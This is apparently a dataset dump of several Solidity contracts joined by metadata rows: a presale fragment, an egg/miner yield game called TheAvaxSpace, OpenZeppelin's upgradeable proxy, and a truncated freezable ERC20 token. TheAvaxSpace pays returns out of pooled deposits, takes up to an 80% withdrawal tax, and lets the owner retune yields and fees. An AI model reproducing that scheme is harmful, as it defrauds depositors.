uint _baseEthUsdRate) public {
startDate = _startDate;
endDate = _endDate;
investors = InvestorsList(_investors);
beneficiary = _beneficiary;
ethUsdRate = _baseEthUsdRate;
initBonusSystem();
}
function initBonusSystem() private{
firstColumn.push(1750000);
firstColumn.push(10360000);
firstColumn.push(18980000);
firstColumn.push(25000000);
secondColumn.push(1560000);
secondColumn.push(9220000);
secondColumn.push(16880000);
secondColumn.push(22230000);
}
function setNewBeneficiary(address newBeneficiary) external onlyOwner {
require(newBeneficiary != 0x0);
beneficiary = newBeneficiary;
}
function setEthUsdRate(uint rate) external onlyOwner {
require(rate > 0);
ethUsdRate = rate;
}
function setNewStartDate(uint newStartDate) external onlyOwner{
require(newStartDate > 0);
startDate = newStartDate;
}
function setNewEndDate(uint newEndDate) external onlyOwner{
require(newEndDate > 0);
endDate = newEndDate;
}
function setNewInvestorsList(address investorsList) external onlyOwner {
require(investorsList != 0x0);
investors = InvestorsList(investorsList);
}
modifier activePreSale(){
require(now >= startDate && now < endDate);
_;
}
modifier underCap(){
require(tokensSold < uint(750000).mul(tokenDecimals));
_;
}
modifier isAllowedToBuy(){
require(investors.isAllowedToBuyByAddressWithoutVerification(msg.sender));
_;
}
modifier minimumAmount(){
require(msg.value.mul(ethUsdRate).div(fiatValueMultiplier.mul(1 ether)) >= 100);
_;
}
mapping (address => uint) public nativeInvestors;
function() payable public whenNotPaused activePreSale minimumAmount underCap{
uint tokens = msg.value.mul(ethUsdRate).div(fiatValueMultiplier);
tokensSold = tokensSold.add(tokens);
tokens = tokens.add(calculateBonus(tokens));
nativeInvestors[msg.sender] = tokens;
tokensSoldWithBonus = tokensSoldWithBonus.add(tokens);
nativeInvestors[msg.sender] = tokens;
NewContribution(msg.sender, tokens, msg.value);
collected = collected.add(msg.value);
beneficiary.transfer(msg.value);
}
//usd * 10^6
function otherCoinsPurchase(bytes32 id, uint amountInUsd) external whenNotPaused underCap activePreSale onlyOwner {
require(id.length > 0 && amountInUsd >= (uint(100).mul(fiatValueMultiplier)) && investors.isAllowedToBuy(id));
uint tokens = amountInUsd.mul(tokenDecimals).div(fiatValueMultiplier);
tokensSold = tokensSold.add(tokens);
tokens = tokens.add(calculateBonus(tokens));
tokensSoldWithBonus = tokensSoldWithBonus.add(tokens);
investors.addTokens(id, tokens);
}
function calculateBonus(uint tokensCount) public constant returns (uint){
//+1 because needs whole days
uint day = ((now.sub(startDate.add(whiteListPreSaleDuration))).div(1 days)).add(1);
uint B1;
uint B2;
if (tokensCount < uint(1000).mul(tokenDecimals)) {
B1 = (((tokensCount - 100 * tokenDecimals) * (firstColumn[1] - firstColumn[0])) / ((1000-100) * tokenDecimals)) + firstColumn[0];
B2 = (((tokensCount - 100 * tokenDecimals) * (secondColumn[1] - secondColumn[0])) / ((1000-100) * tokenDecimals)) + secondColumn[0];
}
if (tokensCount >= uint(1000).mul(tokenDecimals) && tokensCount < uint(10000).mul(tokenDecimals)) {
B1 = (((tokensCount - 1000 * tokenDecimals) * (firstColumn[2] - firstColumn[1])) / ((10000-1000) * tokenDecimals)) + firstColumn[1];
B2 = (((tokensCount - 1000 * tokenDecimals) * (secondColumn[2] - secondColumn[1])) / ((10000-1000) * tokenDecimals)) + secondColumn[1];
}
if (tokensCount >= uint(10000).mul(tokenDecimals) && tokensCount < uint(50000).mul(tokenDecimals)) {
B1 = (((tokensCount - 10000 * tokenDecimals) * (firstColumn[3] - firstColumn[2])) / ((50000-10000) * tokenDecimals)) + firstColumn[2];
B2 = (((tokensCount - 10000 * tokenDecimals) * (secondColumn[3] - secondColumn[2])) / ((50000-10000) * tokenDecimals)) + secondColumn[2];
}
if (tokensCount >= uint(50000).mul(tokenDecimals)) {
B1 = firstColumn[3];
B2 = secondColumn[3];
}
uint bonusPercent = B1.sub(((day - 1).mul(B1 - B2)).div(12));
return calculateBonusTokensAmount(tokensCount, bonusPercent);
}
function calculateBonusTokensAmount(uint tokensCount, uint bonusPercent) private constant returns(uint){
uint bonus = tokensCount.mul(bonusPercent);
bonus = bonus.div(100);
bonus = bonus.div(fiatValueMultiplier);
return bonus;
}
}
| 140,834 | 13,410 |
9c5ae6f52216b48c93e2b4426e4226e92e43b2a43e08db85ed0df7589103a11d
| 16,036 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/7e/7eb0b33060783fae528b89a0b0741ff65d1653e4_TheAvaxSpace.sol
| 4,607 | 14,772 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract TheAvaxSpace {
using SafeMath for uint256;
uint256 public EGGS_TO_HIRE_1MINERS = 1080000;
uint256 public PERCENTS_DIVIDER = 1000;
uint256 public REFERRAL = 70;
uint256 private DEV = 15;
uint256 private MKT = 5;
uint256 public MARKET_EGGS_DIVISOR = 2;
uint256 public MARKET_EGGS_DIVISOR_SELL = 1;
uint256 public MIN_INVEST_LIMIT = 1 * 1e17;
uint256 public WALLET_DEPOSIT_LIMIT = 100 * 1e18;
uint256 public COMPOUND_BONUS = 30;
uint256 public COMPOUND_BONUS_MAX_TIMES = 6;
uint256 public COMPOUND_STEP = 12 * 60 * 60;
uint256 public WITHDRAWAL_TAX = 600;
uint256 public COMPOUND_FOR_NO_TAX_WITHDRAWAL = 5; // compound times, for no tax withdrawal.
uint256 public totalStaked;
uint256 public totalDeposits;
uint256 public totalCompound;
uint256 public totalRefBonus;
uint256 public totalWithdrawn;
uint256 private marketEggs;
uint256 PSN = 10000;
uint256 PSNH = 5000;
bool public contractStarted;
uint256 public CUTOFF_STEP = 48 * 60 * 60;
uint256 public WITHDRAW_COOLDOWN = 4 * 60 * 60;
address payable private owner;
address payable private dev1;
address payable private dev2;
address payable private mkt;
struct User {
uint256 initialDeposit;
uint256 userDeposit;
uint256 miners;
uint256 claimedEggs;
uint256 lastHatch;
address referrer;
uint256 referralsCount;
uint256 referralEggRewards;
uint256 totalWithdrawn;
uint256 dailyCompoundBonus;
uint256 lastWithdrawTime;
}
mapping(address => User) public users;
constructor(address payable _owner, address payable _dev1, address payable _dev2, address payable _mkt) {
require(!isContract(_owner) && !isContract(_dev1) && !isContract(_dev2) && !isContract(_mkt));
owner = _owner;
dev1 = _dev1;
dev2 = _dev2;
mkt = _mkt;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function hatchEggs(bool isCompound) public {
User storage user = users[msg.sender];
require(contractStarted, "Contract not yet Started.");
uint256 eggsUsed = getMyEggs();
uint256 eggsForCompound = eggsUsed;
if(isCompound) {
uint256 dailyCompoundBonus = getDailyCompoundBonus(msg.sender, eggsForCompound);
eggsForCompound = eggsForCompound.add(dailyCompoundBonus);
uint256 eggsUsedValue = calculateEggSell(eggsForCompound);
user.userDeposit = user.userDeposit.add(eggsUsedValue);
totalCompound = totalCompound.add(eggsUsedValue);
}
if(block.timestamp.sub(user.lastHatch) >= COMPOUND_STEP) {
if(user.dailyCompoundBonus < COMPOUND_BONUS_MAX_TIMES) {
user.dailyCompoundBonus = user.dailyCompoundBonus.add(1);
}
}
user.miners = user.miners.add(eggsForCompound.div(EGGS_TO_HIRE_1MINERS));
user.claimedEggs = 0;
user.lastHatch = block.timestamp;
marketEggs = marketEggs.add(eggsUsed.div(MARKET_EGGS_DIVISOR));
}
function seedMarket() public payable{
if (!contractStarted) {
if (msg.sender == owner) {
require(marketEggs == 0);
contractStarted = true;
marketEggs = 86400000000;
buyEggs(msg.sender);
} else revert("Contract not yet started.");
}
}
function sellEggs() public{
require(contractStarted);
User storage user = users[msg.sender];
uint256 hasEggs = getMyEggs();
uint256 eggValue = calculateEggSell(hasEggs);
if(user.dailyCompoundBonus < COMPOUND_FOR_NO_TAX_WITHDRAWAL){
//daily compound bonus count will not reset and eggValue will be deducted with 60% feedback tax.
eggValue = eggValue.sub(eggValue.mul(WITHDRAWAL_TAX).div(PERCENTS_DIVIDER));
}else{
//set daily compound bonus count to 0 and eggValue will remain without deductions
user.dailyCompoundBonus = 0;
}
user.lastWithdrawTime = block.timestamp;
user.claimedEggs = 0;
user.lastHatch = block.timestamp;
marketEggs = marketEggs.add(hasEggs.div(MARKET_EGGS_DIVISOR_SELL));
if(getBalance() < eggValue) {
eggValue = getBalance();
}
uint256 eggsPayout = eggValue.sub(payFees(eggValue));
payable(address(msg.sender)).transfer(eggsPayout);
user.totalWithdrawn = user.totalWithdrawn.add(eggsPayout);
totalWithdrawn = totalWithdrawn.add(eggsPayout);
}
function buyEggs(address ref) public payable{
require(contractStarted);
User storage user = users[msg.sender];
require(msg.value >= MIN_INVEST_LIMIT, "Mininum investment not met.");
require(user.initialDeposit.add(msg.value) <= WALLET_DEPOSIT_LIMIT, "Max deposit limit reached.");
uint256 eggsBought = calculateEggBuy(msg.value, address(this).balance.sub(msg.value));
user.userDeposit = user.userDeposit.add(msg.value);
user.initialDeposit = user.initialDeposit.add(msg.value);
user.claimedEggs = user.claimedEggs.add(eggsBought);
if (user.referrer == address(0)) {
if (ref != msg.sender) {
user.referrer = ref;
}
address upline1 = user.referrer;
if (upline1 != address(0)) {
users[upline1].referralsCount = users[upline1].referralsCount.add(1);
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
if (upline != address(0)) {
uint256 refRewards = msg.value.mul(REFERRAL).div(PERCENTS_DIVIDER);
payable(address(upline)).transfer(refRewards);
users[upline].referralEggRewards = users[upline].referralEggRewards.add(refRewards);
totalRefBonus = totalRefBonus.add(refRewards);
}
}
uint256 eggsPayout = payFees(msg.value);
totalStaked = totalStaked.add(msg.value.sub(eggsPayout));
totalDeposits = totalDeposits.add(1);
hatchEggs(false);
}
function payFees(uint256 eggValue) internal returns(uint256){
uint256 development = eggValue.mul(DEV).div(PERCENTS_DIVIDER);
uint256 marketing = eggValue.mul(MKT).div(PERCENTS_DIVIDER);
owner.transfer(development);
dev1.transfer(development);
dev2.transfer(development);
mkt.transfer(marketing);
return marketing.add(development.mul(3));
}
function getDailyCompoundBonus(address _adr, uint256 amount) public view returns(uint256){
if(users[_adr].dailyCompoundBonus == 0) {
return 0;
} else {
uint256 totalBonus = users[_adr].dailyCompoundBonus.mul(COMPOUND_BONUS);
uint256 result = amount.mul(totalBonus).div(PERCENTS_DIVIDER);
return result;
}
}
function getUserInfo(address _adr) public view returns(uint256 _initialDeposit, uint256 _userDeposit, uint256 _miners,
uint256 _claimedEggs, uint256 _lastHatch, address _referrer, uint256 _referrals,
uint256 _totalWithdrawn, uint256 _referralEggRewards, uint256 _dailyCompoundBonus, uint256 _lastWithdrawTime) {
_initialDeposit = users[_adr].initialDeposit;
_userDeposit = users[_adr].userDeposit;
_miners = users[_adr].miners;
_claimedEggs = users[_adr].claimedEggs;
_lastHatch = users[_adr].lastHatch;
_referrer = users[_adr].referrer;
_referrals = users[_adr].referralsCount;
_totalWithdrawn = users[_adr].totalWithdrawn;
_referralEggRewards = users[_adr].referralEggRewards;
_dailyCompoundBonus = users[_adr].dailyCompoundBonus;
_lastWithdrawTime = users[_adr].lastWithdrawTime;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getTimeStamp() public view returns (uint256) {
return block.timestamp;
}
function getAvailableEarnings(address _adr) public view returns(uint256) {
uint256 userEggs = users[_adr].claimedEggs.add(getEggsSinceLastHatch(_adr));
return calculateEggSell(userEggs);
}
function calculateTrade(uint256 rt,uint256 rs, uint256 bs) public view returns(uint256){
return SafeMath.div(SafeMath.mul(PSN, bs), SafeMath.add(PSNH, SafeMath.div(SafeMath.add(SafeMath.mul(PSN, rs), SafeMath.mul(PSNH, rt)), rt)));
}
function calculateEggSell(uint256 eggs) public view returns(uint256){
return calculateTrade(eggs, marketEggs, getBalance());
}
function calculateEggBuy(uint256 eth,uint256 contractBalance) public view returns(uint256){
return calculateTrade(eth, contractBalance, marketEggs);
}
function calculateEggBuySimple(uint256 eth) public view returns(uint256){
return calculateEggBuy(eth, getBalance());
}
function getEggsYield(uint256 amount) public view returns(uint256,uint256) {
uint256 eggsAmount = calculateEggBuy(amount , getBalance().add(amount).sub(amount));
uint256 miners = eggsAmount.div(EGGS_TO_HIRE_1MINERS);
uint256 day = 1 days;
uint256 eggsPerDay = day.mul(miners);
uint256 earningsPerDay = calculateEggSellForYield(eggsPerDay, amount);
return(miners, earningsPerDay);
}
function calculateEggSellForYield(uint256 eggs,uint256 amount) public view returns(uint256){
return calculateTrade(eggs,marketEggs, getBalance().add(amount));
}
function getSiteInfo() public view returns (uint256 _totalStaked, uint256 _totalDeposits, uint256 _totalCompound, uint256 _totalRefBonus) {
return (totalStaked, totalDeposits, totalCompound, totalRefBonus);
}
function getMyMiners() public view returns(uint256){
return users[msg.sender].miners;
}
function getMyEggs() public view returns(uint256){
return users[msg.sender].claimedEggs.add(getEggsSinceLastHatch(msg.sender));
}
function getEggsSinceLastHatch(address adr) public view returns(uint256){
uint256 secondsSinceLastHatch = block.timestamp.sub(users[adr].lastHatch);
uint256 cutoffTime = min(secondsSinceLastHatch, CUTOFF_STEP);
uint256 secondsPassed = min(EGGS_TO_HIRE_1MINERS, cutoffTime);
return secondsPassed.mul(users[adr].miners);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return a < b ? a : b;
}
function CHANGE_OWNERSHIP(address value) external {
require(msg.sender == owner, "Admin use only.");
owner = payable(value);
}
function CHANGE_DEV1(address value) external {
require(msg.sender == dev1, "Admin use only.");
dev1 = payable(value);
}
function CHANGE_DEV2(address value) external {
require(msg.sender == dev2, "Admin use only.");
dev2 = payable(value);
}
function CHANGE_MKT_WALLET(address value) external {
require(msg.sender == owner || msg.sender == dev1, "Admin use only.");
mkt = payable(value);
}
// 2592000 - 3%, 2160000 - 4%, 1728000 - 5%, 1440000 - 6%, 1200000 - 7%, 1080000 - 8%
// 959000 - 9%, 864000 - 10%, 720000 - 12%, 575424 - 15%, 540000 - 16%, 479520 - 18%
function PRC_EGGS_TO_HIRE_1MINERS(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value >= 479520 && value <= 2592000);
EGGS_TO_HIRE_1MINERS = value;
}
function PRC_MKT(uint256 value) external {
require(msg.sender == owner || msg.sender == dev1, "Admin use only.");
require(value <= 50);
MKT = value;
}
function PRC_DEV(uint256 value) external {
require(msg.sender == owner || msg.sender == dev1, "Admin use only.");
require(value <= 50);
DEV = value;
}
function PRC_REFERRAL(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value >= 10 && value <= 100);
REFERRAL = value;
}
function PRC_MARKET_EGGS_DIVISOR(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value <= 50);
MARKET_EGGS_DIVISOR = value;
}
function SET_WITHDRAWAL_TAX(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value <= 800);
WITHDRAWAL_TAX = value;
}
function SET_COMPOUND_FOR_NO_TAX_WITHDRAWAL(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
COMPOUND_FOR_NO_TAX_WITHDRAWAL = value;
}
function BONUS_DAILY_COMPOUND(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value >= 10 && value <= 900);
COMPOUND_BONUS = value;
}
function BONUS_DAILY_COMPOUND_BONUS_MAX_TIMES(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value <= 30);
COMPOUND_BONUS_MAX_TIMES = value;
}
function BONUS_COMPOUND_STEP(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
COMPOUND_STEP = value * 60 * 60;
}
function SET_MIN_INVEST_LIMIT(uint256 value) external {
require(msg.sender == owner, "Admin use only");
MIN_INVEST_LIMIT = value * 1e18;
}
function SET_CUTOFF_STEP(uint256 value) external {
require(msg.sender == owner, "Admin use only");
CUTOFF_STEP = value * 60 * 60;
}
function SET_WITHDRAW_COOLDOWN(uint256 value) external {
require(msg.sender == owner, "Admin use only");
require(value <= 24);
WITHDRAW_COOLDOWN = value * 60 * 60;
}
function SET_WALLET_DEPOSIT_LIMIT(uint256 value) external {
require(msg.sender == owner, "Admin use only");
require(value >= 20);
WALLET_DEPOSIT_LIMIT = value * 1e18;
}
}
| 112,456 | 13,411 |
99b4c89f5f6d996b8778644f8624526a5020453e90e06d213329af1e98e364a1
| 27,325 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/81/813f65d0fB158EEFB43c1Cdd3ddabcF5fD177F43_TransparentUpgradeableProxy.sol
| 2,924 | 12,196 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Proxy {
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
function _implementation() internal view virtual returns (address);
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
fallback () external payable virtual {
_fallback();
}
receive () external payable virtual {
_fallback();
}
function _beforeFallback() internal virtual {
}
}
interface IBeacon {
function implementation() external view returns (address);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
event Upgraded(address indexed implementation);
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
function _upgradeToAndCall(address newImplementation, bytes memory data, bool forceCall) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
function _upgradeToAndCallSecure(address newImplementation, bytes memory data, bool forceCall) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
Address.functionDelegateCall(newImplementation,
abi.encodeWithSignature("upgradeTo(address)",
oldImplementation));
rollbackTesting.value = false;
// Check rollback was effective
require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
// Finally reset to the new implementation and log the upgrade
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
}
function _upgradeBeaconToAndCall(address newBeacon, bytes memory data, bool forceCall) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
}
}
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
event AdminChanged(address previousAdmin, address newAdmin);
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
event BeaconUpgraded(address indexed beacon);
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
function _setBeacon(address newBeacon) private {
require(Address.isContract(newBeacon),
"ERC1967: new beacon is not a contract");
require(Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract");
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
}
contract ERC1967Proxy is Proxy, ERC1967Upgrade {
constructor(address _logic, bytes memory _data) payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_upgradeToAndCall(_logic, _data, false);
}
function _implementation() internal view virtual override returns (address impl) {
return ERC1967Upgrade._getImplementation();
}
}
contract TransparentUpgradeableProxy is ERC1967Proxy {
constructor(address _logic, address admin_, bytes memory _data) payable ERC1967Proxy(_logic, _data) {
assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_changeAdmin(admin_);
}
modifier ifAdmin() {
if (msg.sender == _getAdmin()) {
_;
} else {
_fallback();
}
}
function admin() external ifAdmin returns (address admin_) {
admin_ = _getAdmin();
}
function implementation() external ifAdmin returns (address implementation_) {
implementation_ = _implementation();
}
function changeAdmin(address newAdmin) external virtual ifAdmin {
_changeAdmin(newAdmin);
}
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeToAndCall(newImplementation, bytes(""), false);
}
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeToAndCall(newImplementation, data, true);
}
function _admin() internal view virtual returns (address) {
return _getAdmin();
}
function _beforeFallback() internal virtual override {
require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
}
| 72,985 | 13,412 |
80d9c7f95be6a244982b08a57c6a624eef1f0f1a70ae7f8e87cd7278d5c46993
| 13,755 |
.sol
|
Solidity
| false |
304681119
|
54meteor/palette
|
55e9e4fd024543b989f37560e47c2809ae23e2fc
|
contracts/test.sol
| 3,496 | 13,641 |
pragma solidity ^0.5.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender), "PauserRole: caller does not have the Pauser role");
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
contract FreezerRole {
using Roles for Roles.Role;
event FreezerAdded(address indexed account);
event FreezerRemoved(address indexed account);
Roles.Role private _freezers;
constructor () internal {
_addFreezer(msg.sender);
}
modifier onlyFreezer() {
require(isFreezer(msg.sender), "FreezerRole: caller does not have the Freezer role");
_;
}
function isFreezer(address account) public view returns (bool) {
return _freezers.has(account);
}
function addFreezer(address account) public onlyFreezer {
_addFreezer(account);
}
function renounceFreezer() public {
_removeFreezer(msg.sender);
}
function _addFreezer(address account) internal {
_freezers.add(account);
emit FreezerAdded(account);
}
function _removeFreezer(address account) internal {
_freezers.remove(account);
emit FreezerRemoved(account);
}
}
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
contract Freezable is FreezerRole {
event Freezed(address account);
event Unfreezed(address account);
mapping(address => bool) _freezeList;
function freezed(address account) public view returns (bool) {
return _freezeList[account];
}
modifier whenNotFreezed(address account) {
require(true != _freezeList[account], "Freezable: freezed");
_;
}
modifier whenFreezed(address account) {
require(true == _freezeList[account], "Freezable: not freezed");
_;
}
function freeze(address account) public onlyFreezer whenNotFreezed(account) returns (bool) {
_freezeList[account] = true;
emit Freezed(account);
return true;
}
